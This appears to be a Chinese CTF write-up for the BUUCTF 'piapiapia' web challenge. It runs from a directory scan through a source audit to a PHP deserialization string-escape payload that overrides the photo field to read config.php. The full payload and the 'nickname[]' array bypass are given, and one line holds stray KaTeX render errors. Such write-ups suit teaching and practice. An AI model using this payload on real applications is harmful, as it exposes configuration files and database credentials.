BUUCTF WEB PIAPIAPIA1

原创

显哥无敌 于 2022-01-04 11:00:28 发布 1723 收藏 1

分类专栏： BUUCTF 文章标签： web安全

打开场景，是一个登录界面，尝试SQL注入未果，审计页面不行，那就扫目录吧
由于BUUCTF自带的防扫机制，所以不要指望很快的得到扫描结果

```
dirsearch -u http://9a2c0157-a94f-4247-8539-ea25ed3f0b21.node4.buuoj.cn:81/ -t 7 -s 1
```

扫了大概有十分钟。。。。。。。。
扫出来config.php,register.php，login.php,/static目录，/upload目录，www.zip
行了，那就源码审计吧
config.php

```
<?php
 $config['hostname'] = '127.0.0.1';
 $config['username'] = 'root';
 $config['password'] = '';
 $config['database'] = '';
 $flag = '';
?>
```

很明显，flag在这里，但是我们下下来的源码明显是不全的，所以完整的config.php我们要通过其他方法得到，看这样子是跟数据库有点关系
继续看profile.php,看了代码逻辑，这是显示用户信息的页面，`$photo = base64_encode(file_get_contents($profile['photo']));`就是赤裸裸的回显点啊

```php
<?php
 require_once('class.php');
 if($_SESSION['username'] == null) {
  die('Login First');
 }
 $username = $_SESSION['username'];
 $profile=$user->show_profile($username);
 if($profile  == null) {
  header('Location: update.php');
 }
 else {
  $profile = unserialize($profile);
  $phone = $profile['phone'];
  $email = $profile['email'];
  $nickname = $profile['nickname'];
  $photo = base64_encode(file_get_contents($profile['photo']));
?>
```

这里有个unserialize函数，先留意一下
然后看update.php

$username = KaTeX parse error: Undefined control sequence: \d at position 42: …!preg_match('/^\d{11}/', $_POST['phone'])) die('Invalid phone');

```php
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
 die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
 die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
 die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
```

这里看到了seriliaze,和前面的unserialize对应，这里是更新用户信息的,注册的时候应该是要更新一次的，顺着这个业务逻辑，我们去找
register.php,但是具体的register逻辑并没有给出，那么换个思路，如果我们先注册了一个用户，然后再update的时候调用serialize
后面再调用profile.php来显示，这就会回显给我们一些信息
下面就是如何把我们所需的东西注入到这条链中
我们先找update_profile的逻辑
在class.php里面找到了：

```
public function update_profile($username, $new_profile) {
  $username = parent::filter($username);
  $new_profile = parent::filter($new_profile);

  $where = "username = '$username'";
  return parent::update($this->table, 'profile', $new_profile, $where);
 }
```

关注到了调用了filter函数,找filter函数:

```
public function filter($string) {
  $escape = array('\'', '\\\\');
  $escape = '/' . implode('|', $escape) . '/';
  $string = preg_replace($escape, '_', $string);

  $safe = array('select', 'insert', 'update', 'delete', 'where');
  $safe = '/' . implode('|', $safe) . '/i';
  return preg_replace($safe, 'hacker', $string);
 }
```

很明显过滤了一些东西，把'和\替换成_，把select,inser,update,delete,where替换成hacker
由于存在过滤机制，很容易就想到了反序列化的字符串逃逸，这也是一个常用思路了，这里利用点在第二个过滤上，因为第一个替换并不会增加任何长度
where是唯一一个长度发生改变的替换词
那么通过构造特定长度的where序列，由于过滤机制会自动填充，从而把原本是nickname的字段会溢出到photo字段去，从而覆盖了原来的photo属性
当然，由于存在相应的filter，我们需要用数组进行绕过
最终
payload: `wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}`
我们要带入34个多余字符，那么过滤机制就要为我们增加34位，一次替换会增加1个字符，于是需要34个where
先注册，登入，然后update，抓包，把nickname改成nickname[],数据填入payload，再点最后的超链接，把base64加密的config.php解码即可

参考视频链接:https://www.bilibili.com/video/BV1Bb4y1n7ZV/